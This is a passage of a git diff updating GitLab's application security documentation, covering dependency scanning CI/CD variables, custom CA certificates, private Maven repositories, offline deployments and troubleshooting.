[sbt](https://www.scala-sbt.org/) 1.2 and below ([Ivy](http://ant.apache.org/ivy/)) | Scala | `build.sbt` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | +| [`setuptools`](https://setuptools.readthedocs.io/en/latest/), [pip](https://pip.pypa.io/en/stable/), [Pipenv](https://pipenv.pypa.io/en/latest/) (*1*) | Python | `setup.py`, `requirements.txt`, `requirements.pip`, `requires.txt`, `Pipfile`, `Pipfile.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | +| [sbt](https://www.scala-sbt.org/) (*2*) | Scala | `build.sbt` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | 1. [Pipenv](https://pipenv.pypa.io/en/latest/) projects are scanned when a `Pipfile` is present. - Gemnasium scans the exact package versions listed in `Pipfile.lock` when this file is also present. +1. Support for [sbt](https://www.scala-sbt.org/) 1.3 and above was added in GitLab 13.9. Plans are underway for supporting the following languages, dependency managers, and dependency files. For details, see the issue link for each. | Package Managers | Languages | Supported files | Scan tools | Issue | | ------------------- | --------- | --------------- | ---------- | ----- | | [Poetry](https://python-poetry.org/) | Python | `poetry.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | [GitLab#7006](https://gitlab.com/gitlab-org/gitlab/-/issues/7006) | -| [sbt](https://www.scala-sbt.org/) 1.3+ ([Coursier](https://get-coursier.io/))| Scala | `build.sbt` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | [GitLab#271345](https://gitlab.com/gitlab-org/gitlab/-/issues/271345) | ## Contribute your scanner @@ -109,7 +108,7 @@ always take the latest dependency scanning artifact available. ### Customizing the dependency scanning settings -The dependency scanning settings can be changed through [environment variables](#available-variables) by using the +The dependency scanning settings can be changed through [CI/CD variables](#available-variables) by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. For example: @@ -163,47 +162,63 @@ using environment variables. The following variables allow configuration of global dependency scanning settings. -| Environment variable | Description | -| --------------------------------------- |------------ | -| `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the official default images (proxy). Read more about [customizing analyzers](analyzers.md). | -| `DS_DEFAULT_ANALYZERS` | Override the names of the official default images. Read more about [customizing analyzers](analyzers.md). | -| `ADDITIONAL_CA_CERT_BUNDLE` | Bundle of CA certs to trust. The bundle of certificates provided here is also used by other tools during the scanning process, such as `git`, `yarn`, or `npm`. | -| `DS_EXCLUDED_PATHS` | Exclude vulnerabilities from output based on the paths. A comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec`). Parent directories also match patterns. Default: `"spec, test, tests, tmp"` | -| `SECURE_LOG_LEVEL` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. Default: `info` | +| CI/CD variables | Description | +| ----------------------------|------------ | +| `ADDITIONAL_CA_CERT_BUNDLE` | Bundle of CA certs to trust. The bundle of certificates provided here is also used by other tools during the scanning process, such as `git`, `yarn`, or `npm`. See [Using a custom SSL CA certificate authority](#using-a-custom-ssl-ca-certificate-authority) for more details. | +| `DS_DEFAULT_ANALYZERS` | Override the names of the official default images. Read more about [customizing analyzers](analyzers.md). | +| `DS_EXCLUDED_PATHS` | Exclude vulnerabilities from output based on the paths. A comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec`). Parent directories also match patterns. Default: `"spec, test, tests, tmp"`. | +| `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the official default images (proxy). Read more about [customizing analyzers](analyzers.md). | +| `SECURE_LOG_LEVEL` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. Default: `info`. | #### Configuring specific analyzers used by dependency scanning The following variables are used for configuring specific analyzers (used for a specific language/framework). -| Environment variable | Analyzer | Default | Description | -| --------------------------------------- | ------------------ | ---------------------------- |------------ | -| `GEMNASIUM_DB_LOCAL_PATH` | `gemnasium` | `/gemnasium-db` | Path to local Gemnasium database. | -| `GEMNASIUM_DB_REMOTE_URL` | `gemnasium` | `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` | Repository URL for fetching the Gemnasium database. | -| `GEMNASIUM_DB_REF_NAME` | `gemnasium` | `master` | Branch name for remote repository database. `GEMNASIUM_DB_REMOTE_URL` is required. | -| `DS_REMEDIATE` | `gemnasium` | `"true"` | Enable automatic remediation of vulnerable dependencies. | -| `PIP_INDEX_URL` | `gemnasium-python` | `https://pypi.org/simple` | Base URL of Python Package Index. | -| `PIP_EXTRA_INDEX_URL` | `gemnasium-python` | | Array of [extra URLs](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-extra-index-url) of package indexes to use in addition to `PIP_INDEX_URL`. Comma-separated. | -| `PIP_REQUIREMENTS_FILE` | `gemnasium-python` | | Pip requirements file to be scanned. | -| `DS_PIP_VERSION` | `gemnasium-python` | | Force the install of a specific pip version (example: `"19.3"`), otherwise the pip installed in the Docker image is used. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12811) in GitLab 12.7) | -| `DS_PIP_DEPENDENCY_PATH` | `gemnasium-python` | | Path to load Python pip dependencies from. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12412) in GitLab 12.2) | -| `DS_PYTHON_VERSION` | `retire.js` | | Version of Python. If set to 2, dependencies are installed using Python 2.7 instead of Python 3.6. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12296) in GitLab 12.1, [removed](https://www.python.org/doc/sunset-python-2/) in GitLab 13.7)| -| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`. Maven and Gradle use the Java version specified by this value. | -| `MAVEN_CLI_OPTS` | `gemnasium-maven` | `"-DskipTests --batch-mode"` | List of command line arguments that are passed to `maven` by the analyzer. See an example for [using private repositories](../index.md#using-private-maven-repos). | -| `GRADLE_CLI_OPTS` | `gemnasium-maven` | | List of command line arguments that are passed to `gradle` by the analyzer. | -| `SBT_CLI_OPTS` | `gemnasium-maven` | | List of command-line arguments that the analyzer passes to `sbt`. | -| `BUNDLER_AUDIT_UPDATE_DISABLED` | `bundler-audit` | `"false"` | Disable automatic updates for the `bundler-audit` analyzer. Useful if you're running dependency scanning in an offline, air-gapped environment.| -| `BUNDLER_AUDIT_ADVISORY_DB_URL` | `bundler-audit` | `https://github.com/rubysec/ruby-advisory-db` | URL of the advisory database used by bundler-audit. | -| `BUNDLER_AUDIT_ADVISORY_DB_REF_NAME` | `bundler-audit` | `master` | Git ref for the advisory database specified by `BUNDLER_AUDIT_ADVISORY_DB_URL`. | -| `RETIREJS_JS_ADVISORY_DB` | `retire.js` | `https://raw.githubusercontent.com/RetireJS/retire.js/master/repository/jsrepository.json` | Path or URL to `retire.js` JS vulnerability data file. Note that if the URL hosting the data file uses a custom SSL certificate, for example in an offline installation, you can pass the certificate in the `ADDITIONAL_CA_CERT_BUNDLE` environment variable. | -| `RETIREJS_NODE_ADVISORY_DB` | `retire.js` | `https://raw.githubusercontent.com/RetireJS/retire.js/master/repository/npmrepository.json` | Path or URL to `retire.js` node vulnerability data file. Note that if the URL hosting the data file uses a custom SSL certificate, for example in an offline installation, you can pass the certificate in the `ADDITIONAL_CA_CERT_BUNDLE` environment variable. | -| `RETIREJS_ADVISORY_DB_INSECURE` | `retire.js` | `false` | Enable fetching remote JS and Node vulnerability data files (defined by the `RETIREJS_JS_ADVISORY_DB` and `RETIREJS_NODE_ADVISORY_DB` variables) from hosts using an insecure or self-signed SSL (TLS) certificate. | - -### Using private Maven repos +| CI/CD variable | Analyzer | Default | Description | +| ------------------------------------ | ------------------ | ---------------------------- |------------ | +| `BUNDLER_AUDIT_UPDATE_DISABLED` | `bundler-audit` | `"false"` | Disable automatic updates for the `bundler-audit` analyzer. Use if you're running dependency scanning in an offline, air-gapped environment.| +| `BUNDLER_AUDIT_ADVISORY_DB_URL` | `bundler-audit` | `https://github.com/rubysec/ruby-advisory-db` | URL of the advisory database used by bundler-audit. | +| `BUNDLER_AUDIT_ADVISORY_DB_REF_NAME` | `bundler-audit` | `master` | Git ref for the advisory database specified by `BUNDLER_AUDIT_ADVISORY_DB_URL`. | +| `GEMNASIUM_DB_LOCAL_PATH` | `gemnasium` | `/gemnasium-db` | Path to local Gemnasium database. | +| `GEMNASIUM_DB_REMOTE_URL` | `gemnasium` | `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` | Repository URL for fetching the Gemnasium database. | +| `GEMNASIUM_DB_REF_NAME` | `gemnasium` | `master` | Branch name for remote repository database. `GEMNASIUM_DB_REMOTE_URL` is required. | +| `DS_REMEDIATE` | `gemnasium` | `"true"` | Enable automatic remediation of vulnerable dependencies. | +| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`. Maven and Gradle use the Java version specified by this value. | +| `MAVEN_CLI_OPTS` | `gemnasium-maven` | `"-DskipTests --batch-mode"` | List of command line arguments that are passed to `maven` by the analyzer. See an example for [using private repositories](../index.md#using-private-maven-repositories). | +| `GRADLE_CLI_OPTS` | `gemnasium-maven` | | List of command line arguments that are passed to `gradle` by the analyzer. | +| `SBT_CLI_OPTS` | `gemnasium-maven` | | List of command-line arguments that the analyzer passes to `sbt`. | +| `PIP_INDEX_URL` | `gemnasium-python` | `https://pypi.org/simple` | Base URL of Python Package Index. | +| `PIP_EXTRA_INDEX_URL` | `gemnasium-python` | | Array of [extra URLs](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-extra-index-url) of package indexes to use in addition to `PIP_INDEX_URL`. Comma-separated. | +| `PIP_REQUIREMENTS_FILE` | `gemnasium-python` | | Pip requirements file to be scanned. | +| `DS_PIP_VERSION` | `gemnasium-python` | | Force the install of a specific pip version (example: `"19.3"`), otherwise the pip installed in the Docker image is used. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12811) in GitLab 12.7) | +| `DS_PIP_DEPENDENCY_PATH` | `gemnasium-python` | | Path to load Python pip dependencies from. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12412) in GitLab 12.2) | +| `DS_PYTHON_VERSION` | `retire.js` | | Version of Python. If set to 2, dependencies are installed using Python 2.7 instead of Python 3.6. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12296) in GitLab 12.1, [removed](https://www.python.org/doc/sunset-python-2/) in GitLab 13.7). | +| `RETIREJS_JS_ADVISORY_DB` | `retire.js` | `https://raw.githubusercontent.com/RetireJS/retire.js/master/repository/jsrepository.json` | Path or URL to `retire.js` JS vulnerability data file. Note that if the URL hosting the data file uses a custom SSL certificate, for example in an offline installation, you can pass the certificate in the `ADDITIONAL_CA_CERT_BUNDLE` variable. | +| `RETIREJS_NODE_ADVISORY_DB` | `retire.js` | `https://raw.githubusercontent.com/RetireJS/retire.js/master/repository/npmrepository.json` | Path or URL to `retire.js` node vulnerability data file. Note that if the URL hosting the data file uses a custom SSL certificate, for example in an offline installation, you can pass the certificate in the `ADDITIONAL_CA_CERT_BUNDLE` variable. | +| `RETIREJS_ADVISORY_DB_INSECURE` | `retire.js` | `false` | Enable fetching remote JS and Node vulnerability data files (defined by the `RETIREJS_JS_ADVISORY_DB` and `RETIREJS_NODE_ADVISORY_DB` variables) from hosts using an insecure or self-signed SSL (TLS) certificate. | + +### Using a custom SSL CA certificate authority + +You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority. The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the [text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1). For example, to configure this value in the `.gitlab-ci.yml` file, use the following: + +```yaml +variables: + ADDITIONAL_CA_CERT_BUNDLE: | + -----BEGIN CERTIFICATE----- + MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB + ... + jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs= + -----END CERTIFICATE----- +``` + +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. + +### Using private Maven repositories If your private Maven repository requires login credentials, -you can use the `MAVEN_CLI_OPTS` environment variable. +you can use the `MAVEN_CLI_OPTS` CI/CD variable. -Read more on [how to use private Maven repositories](../index.md#using-private-maven-repos). +Read more on [how to use private Maven repositories](../index.md#using-private-maven-repositories). ## Interacting with the vulnerabilities @@ -370,12 +385,12 @@ Here are the requirements for using dependency scanning in an offline environmen - GitLab Runner with the [`docker` or `kubernetes` executor](#requirements). - Docker Container Registry with locally available copies of dependency scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images. - If you have a limited access environment you need to allow access, such as using a proxy, to the advisory database: `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git`. - If you are unable to permit access to `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` you must host an offline copy of this `git` repository and set the `GEMNASIUM_DB_REMOTE_URL` variable to the URL of this repository. For more information on configuration variables, see [Dependency Scanning](#configuring-dependency-scanning). + If you are unable to permit access to `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` you must host an offline copy of this `git` repository and set the `GEMNASIUM_DB_REMOTE_URL` CI/CD variable to the URL of this repository. For more information on configuration variables, see [Dependency Scanning](#configuring-dependency-scanning). This advisory database is constantly being updated, so you must periodically sync your local copy with GitLab. - _Only if scanning Ruby projects_: Host an offline Git copy of the [advisory database](https://github.com/rubysec/ruby-advisory-db). -- _Only if scanning npm/yarn projects_: Host an offline copy of the [retire.js](https://github.com/RetireJS/retire.js/) [node](https://github.com/RetireJS/retire.js/blob/master/repository/npmrepository.json) and [js](https://github.com/RetireJS/retire.js/blob/master/repository/jsrepository.json) advisory databases. +- _Only if scanning npm/yarn projects_: Host an offline copy of the [`retire.js`](https://github.com/RetireJS/retire.js/) [node](https://github.com/RetireJS/retire.js/blob/master/repository/npmrepository.json) and [`js`](https://github.com/RetireJS/retire.js/blob/master/repository/jsrepository.json) advisory databases. Note that GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), meaning the runner tries to pull Docker images from the GitLab container registry even if a local @@ -420,7 +435,7 @@ Support for custom certificate authorities was introduced in the following versi | `retire.js` | [v2.4.0](https://gitlab.com/gitlab-org/security-products/analyzers/retire.js/-/releases/v2.4.0) | | `bundler-audit` | [v2.4.0](https://gitlab.com/gitlab-org/security-products/analyzers/bundler-audit/-/releases/v2.4.0) | -### Set dependency scanning CI job variables to use local dependency scanning analyzers +### Set dependency scanning CI/CD job variables to use local dependency scanning analyzers Add the following configuration to your `.gitlab-ci.yml` file. You must change the value of `SECURE_ANALYZERS_PREFIX` to refer to your local Docker container registry. You must also change the @@ -460,7 +475,7 @@ BUNDLER_AUDIT_ADVISORY_DB_REF_NAME: "master" BUNDLER_AUDIT_ADVISORY_DB_URL: "gitlab.example.com/ruby-advisory-db.git" ``` -#### Python (setuptools) +#### Python (setup tools) When using self-signed certificates for your private PyPi repository, no extra job configuration (aside from the template `.gitlab-ci.yml` above) is needed. However, you must update your `setup.py` to @@ -526,5 +541,9 @@ scanning job might be triggered even if the scanner doesn't support your project ### Issues building projects with npm or yarn packages relying on Python 2 -Python 2 was removed (see: [Python 2 sunsetting](https://www.python.org/doc/sunset-python-2/)) from the `retire.js` analyzer in GitLab 13.7 (analyzer version 2.10.1). Projects using packages +[Python 2 was removed](https://www.python.org/doc/sunset-python-2/) from the `retire.js` analyzer in GitLab 13.7 (analyzer version 2.10.1). Projects using packages with a dependency on this version of Python should use `retire.js` version 2.10.0 or lower (for example, `registry.gitlab.com/gitlab-org/security-products/analyzers/retire.js:2.10.0`). + +### Error: `dependency_scanning is used for configuration only, and its script should not be executed` + +For information on this, see the [GitLab Secure troubleshooting section](../index.md#error-job-is-used-for-configuration-only-and-its-script-should-not-be-executed). diff --git a/doc/user/application_security/img/create_issue_from_vulnerability_v13_3.png b/doc/user/application_security/img/create_issue_from_vulnerability_v13_3.png Binary files differdeleted file mode 100644 index b792fbc9af1..00000000000 --- a/doc/user/application_security/img/create_issue_from_vulnerability_v13_3.png +++ /dev/null diff --git a/doc/user/application_security/img/issue.png b/doc/user/application_security/img/issue.png Binary files differdeleted file mode 100644 index 6467201df3f..00000000000 --- a/doc/user/application_security/img/issue.png +++ /dev/null diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md index 417ce70665c..4a23cd874be 100644 --- a/doc/user/application_security/index.md +++ b/doc/user/application_security/index.md @@ -57,7 +57,7 @@ see [configure SAST in the UI](sast/index.md#configure-sast-in-the-ui). ### Override the default registry base address By default, GitLab security scanners use `registry.gitlab.com/gitlab-org/security-products/analyzers` as the -base address for Docker images. You can override this globally by setting the variable +base address for Docker images. You can override this globally by setting the CI/CD variable `SECURE_ANALYZERS_PREFIX` to another location. Note that this affects all scanners at once. ## Security scanning tools @@ -110,7 +110,7 @@ The scanning tools and vulnerabilities database are updated regularly. | Secure scanning tool | Vulnerabilities database updates | |:-------------------------------------------------------------|-------------------------------------------| | [Container Scanning](container_scanning/index.md) | Uses `clair`. The latest `clair-db` version is used for each job by running the [`latest` Docker image tag](https://gitlab.com/gitlab-org/gitlab/blob/438a0a56dc0882f22bdd82e700554525f552d91b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L37). The `clair-db` database [is updated daily according to the author](https://github.com/arminc/clair-local-scan#clair-server-or-local). | -| [Dependency Scanning](dependency_scanning/index.md) | Relies on `bundler-audit` (for Ruby gems), `retire.js` (for NPM packages), and `gemnasium` (the GitLab tool for all libraries). Both `bundler-audit` and `retire.js` fetch their vulnerabilities data from GitHub repositories, so vulnerabilities added to `ruby-advisory-db` and `retire.js` are immediately available. The tools themselves are updated once per month if there's a new version. The [Gemnasium DB](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is updated at least once a week. See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). | +| [Dependency Scanning](dependency_scanning/index.md) | Relies on `bundler-audit` (for Ruby gems), `retire.js` (for npm packages), and `gemnasium` (the GitLab tool for all libraries). Both `bundler-audit` and `retire.js` fetch their vulnerabilities data from GitHub repositories, so vulnerabilities added to `ruby-advisory-db` and `retire.js` are immediately available. The tools themselves are updated once per month if there's a new version. The [Gemnasium DB](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is updated at least once a week. See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). | | [Dynamic Application Security Testing (DAST)](dast/index.md) | The scanning engine is updated on a periodic basis. See the [version of the underlying tool `zaproxy`](https://gitlab.com/gitlab-org/security-products/dast/blob/master/Dockerfile#L1). The scanning rules are downloaded at scan runtime. | | [Static Application Security Testing (SAST)](sast/index.md) | Relies exclusively on [the tools GitLab wraps](sast/index.md#supported-languages-and-frameworks). The underlying analyzers are updated at least once per month if a relevant update is available. The vulnerabilities database is updated by the upstream tools. | @@ -123,19 +123,12 @@ latest versions of the scanning tools without having to do anything. There are s with this approach, however, and there is a [plan to resolve them](https://gitlab.com/gitlab-org/gitlab/-/issues/9725). -## Viewing security scan information in merge requests **(CORE)** +## Viewing security scan information in merge requests **(FREE)** -> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4393) in GitLab Core 13.5. +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4393) in GitLab Free 13.5. > - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/273205) in 13.6. > - Report download dropdown [added](https://gitlab.com/gitlab-org/gitlab/-/issues/273418) in 13.7. -> - It's [deployed behind a feature flag](../feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It can be enabled or disabled for a single project. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-basic-security-widget). **(CORE ONLY)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/249550) in GitLab 13.9. Merge requests which have run security scans let you know that the generated reports are available to download. To download a report, click on the @@ -148,12 +141,12 @@ reports are available to download. To download a report, click on the > Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.8. Each security vulnerability in the merge request report or the -[Security Dashboard](security_dashboard/index.md) is actionable. Click an entry to view detailed +[Vulnerability Report](vulnerability_report/index.md) is actionable. Click an entry to view detailed information with several options: - [Dismiss vulnerability](#dismissing-a-vulnerability): Dismissing a vulnerability styles it in strikethrough. -- [Create issue](#creating-an-issue-for-a-vulnerability): Create a new issue with the title and +- [Create issue](vulnerabilities/index.md#create-a-gitlab-issue-for-a-vulnerability): Create a new issue with the title and description pre-populated with information from the vulnerability report. By default, such issues are [confidential](../project/issues/confidential_issues.md). - [Automatic Remediation](#automatic-remediation-for-vulnerabilities): For some vulnerabilities, @@ -261,40 +254,29 @@ vulnerability as you learn more over time. #### Dismissing multiple vulnerabilities -> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35816) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. You can dismiss multiple vulnerabilities at once, providing an optional reason. Selecting the checkboxes on the side of each vulnerability in the list selects that individual vulnerability. Alternatively, you can select all the vulnerabilities in the list by selecting the checkbox in the table header. Deselecting the checkbox in the header deselects all the vulnerabilities in the list. -Once you have selected some vulnerabilities, a menu appears at the top of the table that allows you to select a dismissal reason. +After you have selected some vulnerabilities, a menu appears at the top of the table that allows you to select a dismissal reason. Pressing the "Dismiss Selected" button dismisses all the selected vulnerabilities at once, with the reason you chose.  -### Creating an issue for a vulnerability - -You can create an issue for a vulnerability by visiting the vulnerability's page and clicking -**Create issue**, which you can find in the **Related issues** section. - - - -This creates a [confidential issue](../project/issues/confidential_issues.md) in the project the -vulnerability came from, and pre-populates it with some useful information taken from the vulnerability -report. Once the issue is created, you are redirected to it so you can edit, assign, or comment on -it. +### Create an issue for a vulnerability -Upon returning to the group security dashboard, the vulnerability now has an associated issue next -to the name. - - +You can create a GitLab issue, or a Jira issue (if it's enabled) for a vulnerability. For more +details, see [Vulnerability Pages](vulnerabilities/index.md). ### Automatic remediation for vulnerabilities > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5656) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.7. -Some vulnerabilities can be fixed by applying the solution that GitLab -automatically generates. Although the feature name is Automatic Remediation, this feature is also commonly called Auto-Remediation, Auto Remediation, or Suggested Solutions. The following scanners are supported: +Some vulnerabilities can be fixed by applying the solution that GitLab automatically generates. +Although the feature name is Automatic Remediation, this feature is also commonly called +Auto-Remediation, Auto Remediation, or Suggested Solutions. The following scanners are supported: - [Dependency Scanning](dependency_scanning/index.md): Automatic Patch creation is only available for Node.js projects managed with @@ -395,11 +377,11 @@ must be created. A [security scanner job](#security-scanning-tools) must be enab job must be enabled for `License-Check`. When the proper jobs aren't configured, the following appears: - + If at least one security scanner is enabled, you can enable the `Vulnerability-Check` approval rule. If a license scanning job is enabled, you can enable the `License-Check` rule. - + For this approval group, you must set the number of approvals required to greater than zero. You must have Maintainer or Owner [permissions](../permissions.md#project-members-permissions) @@ -446,10 +428,10 @@ environment. Read how to [operate the Secure scanners in an offline environment](offline_deployments/index.md). -## Using private Maven repos +## Using private Maven repositories If you have a private Apache Maven repository that requires login credentials, -you can use the `MAVEN_CLI_OPTS` environment variable +you can use the `MAVEN_CLI_OPTS` CI/CD variable to pass a username and password. You can set it under your project's settings so that your credentials aren't exposed in `.gitlab-ci.yml`. @@ -457,8 +439,8 @@ If the username is `myuser` and the password is `verysecret` then you would [set the following variable](../../ci/variables/README.md#create-a-custom-variable-in-the-ui) under your project's settings: -| Type | Key | Value | -| ---- | --- | ----- | +| Type | Key | Value | +| -------- | ---------------- | ----- | | Variable | `MAVEN_CLI_OPTS` | `--settings mysettings.xml -Drepository.password=verysecret -Drepository.user=myuser` | ```xml @@ -522,13 +504,28 @@ This error appears when the included job's stage (named `test`) isn't declared i To fix this issue, you can either: - Add a `test` stage in your `.gitlab-ci.yml`. -- Change the default stage of the included security jobs. For example, with SpotBugs (SAST): +- Override the default stage of each security job. For example, to use a pre-defined stage name `unit-tests`: ```yaml include: - template: Security/SAST.gitlab-ci.yml + - template: Security/Dependency-Scanning.gitlab-ci.yml + - template: Security/License-Scanning.gitlab-ci.yml + - template: Security/SAST.gitlab-ci.yml + - template: Security/Secret-Detection.gitlab-ci.yml + + stages: + - unit-tests + + dependency_scanning: + stage: unit-tests - spotbugs-sast: + license_scanning: + stage: unit-tests + + sast: + stage: unit-tests + + .secret-analyzer: stage: unit-tests ``` @@ -541,7 +538,7 @@ This is often followed by the [error `No files to upload`](../../ci/pipelines/jo and preceded by other errors or warnings that indicate why the JSON report wasn't generated. Please check the entire job log for such messages. If you don't find these messages, retry the failed job after setting `SECURE_LOG_LEVEL: "debug"` as a -[custom environment variable](../../ci/variables/README.md#custom-environment-variables). +[custom CI/CD variable](../../ci/variables/README.md#custom-cicd-variables). This provides useful information to investigate further. ### Getting error message `sast job: config key may not be used with 'rules': only/except` @@ -652,27 +649,16 @@ Analyzer results are displayed in the [job logs](../../ci/jobs/index.md#expand-a or [Security Dashboard](security_dashboard/index.md). There is [an open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/235772) in which changes to this behavior are being discussed. -### Enable or disable the basic security widget **(CORE ONLY)** +### Error: job `is used for configuration only, and its script should not be executed` -The basic security widget is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../feature_flags.md) -can opt to disable it. +[Changes made in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41260) +to the `Security/Dependency-Scanning.gitlab-ci.yml` and `Security/SAST.gitlab-ci.yml` +templates mean that if you enable the `sast` or `dependency_scanning` jobs by setting the `rules` attribute, +they will fail with the error `(job) is used for configuration only, and its script should not be executed`. -To enable it: +The `sast` or `dependency_scanning` stanzas can be used to make changes to all SAST or Dependency Scanning, +such as changing `variables` or the `stage`, but they cannot be used to define shared `rules`. -```ruby -# For the instance -Feature.enable(:core_security_mr_widget) -# For a single project -Feature.enable(:core_security_mr_widget, Project.find(<project id>)) -``` - -To disable it: - -```ruby -# For the instance -Feature.disable(:core_security_mr_widget) -# For a single project -Feature.disable(:core_security_mr_widget, Project.find(<project id>)) -``` +There [is an issue open to improve extendability](https://gitlab.com/gitlab-org/gitlab/-/issues/218444). +Please upvote the issue to help with prioritization, and +[contributions are welcomed](https://about.gitlab.com/community/contribute/). diff --git a/doc/user/application_security/license_compliance/index.md b/doc/user/application_security/license_compliance/index.md deleted file mode 100644 index 4c598d851a9..00000000000 --- a/doc/user/application_security/license_compliance/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../compliance/license_compliance/index.md' ---- - -This document was moved to [another location](../../compliance/license_compliance/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/license_management/index.md b/doc/user/application_security/license_management/index.md deleted file mode 100644 index bd67fca529f..00000000000 --- a/doc/user/application_security/license_management/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: ../../compliance/license_compliance/index.md ---- - -This document was moved to [another location](../../compliance/license_compliance/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md index 14ca27cdabe..9d16fb75410 100644 --- a/doc/user/application_security/offline_deployments/index.md +++ b/doc/user/application_security/offline_deployments/index.md @@ -53,7 +53,7 @@ internally-hosted registry or provide access to the individual scanner images. You must also ensure that your app has access to common package repositories that are not hosted on GitLab.com, such as npm, yarn, or Ruby gems. Packages -from these repos can be obtained by temporarily connecting to a network or by +from these repositories can be obtained by temporarily connecting to a network or by mirroring the packages inside your own offline network. ### Interacting with the vulnerabilities @@ -132,7 +132,7 @@ a bastion, and used only for this specific project. #### Scheduling the updates By default, this project's pipeline runs only once, when the `.gitlab-ci.yml` is added to the -repo. To update the GitLab security scanners and signatures, it's necessary to run this pipeline +repository. To update the GitLab security scanners and signatures, it's necessary to run this pipeline regularly. GitLab provides a way to [schedule pipelines](../../../ci/pipelines/schedules.md). For example, you can set this up to download and store the Docker images every week. @@ -148,19 +148,19 @@ The project using the `Secure-Binaries.gitlab-ci.yml` template should now host a images and resources needed to run GitLab Security features. Next, you must tell the offline instance to use these resources instead of the default ones on -GitLab.com. To do so, set the environment variable `SECURE_ANALYZERS_PREFIX` with the URL of the +GitLab.com. To do so, set the CI/CD variable `SECURE_ANALYZERS_PREFIX` with the URL of the project [container registry](../../packages/container_registry/index.md). You can set this variable in the projects' `.gitlab-ci.yml`, or -in the GitLab UI at the project or group level. See the [GitLab CI/CD environment variables page](../../../ci/variables/README.md#custom-environment-variables) +in the GitLab UI at the project or group level. See the [GitLab CI/CD variables page](../../../ci/variables/README.md#custom-cicd-variables) for more information. #### Variables -The following table shows which variables you can use with the 